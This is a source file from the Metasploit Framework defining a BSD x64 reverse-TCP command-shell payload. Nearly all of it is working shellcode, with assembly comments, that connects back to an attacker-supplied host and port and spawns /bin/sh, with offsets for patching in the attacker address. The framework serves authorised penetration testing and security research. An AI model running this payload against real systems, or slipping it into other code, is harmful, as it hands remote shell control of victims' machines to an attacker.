modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 81
include Msf::Payload::Single
include Msf::Payload::Bsd
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD x64 Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
'References' => [['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_reverse_tcp.asm.c']],
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 39, 'ADDR' ],
'LPORT' => [ 37, 'n' ],
},
'Payload' =>
"\x6a\x61" + # pushq $0x61 #
"\x58" + # pop %rax #
"\x99" + # cltd #
"\x6a\x02" + # pushq $0x2 #
"\x5f" + # pop %rdi #
"\x6a\x01" + # pushq $0x1 #
"\x5e" + # pop %rsi #
"\x0f\x05" + # syscall #
"\x48\x97" + # xchg %rax,%rdi #
"\x04\x58" + # add $0x58,%al #
"\x0f\x05" + # syscall #
"\xff\xc6" + # inc %esi #
"\x04\x59" + # add $0x59,%al #
"\x0f\x05" + # syscall #
"\xff\xce" + # dec %esi #
"\xff\xce" + # dec %esi #
"\x04\x58" + # add $0x58,%al #
"\x0f\x05" + # syscall #
"\x52" + # push %rdx #
"\x48\xbb\x00\x02\x11" + # mov ... #
"\x5c\x7f\x00\x00\x01" + # mov $0x100007f5c110200,%rbx #
"\x53" + # push %rbx #
"\x48\x89\xe6" + # mov %rsp,%rsi #
"\x6a\x10" + # pushq $0x10 #
"\x5a" + # pop %rdx #
"\x66\x83\xc0\x62" + # add $0x62,%ax #
"\x0f\x05" + # syscall #
"\x99" + # cltd #
"\x52" + # push %rdx #
"\x48\xbf\x2f\x2f\x62" + # mov "//b" #
"\x69\x6e\x2f\x73\x68" + # "in/sh", %rdi #
"\x57" + # push %rdi #
"\x48\x89\xe7" + # mov %rsp,%rdi #
"\x52" + # push %rdx #
"\x57" + # push %rdi #
"\x48\x89\xe6" + # mov %rsp,%rsi #
"\x04\x3b" + # add $0x3b,%al #
"\x0f\x05" # syscall #
}
))
end
end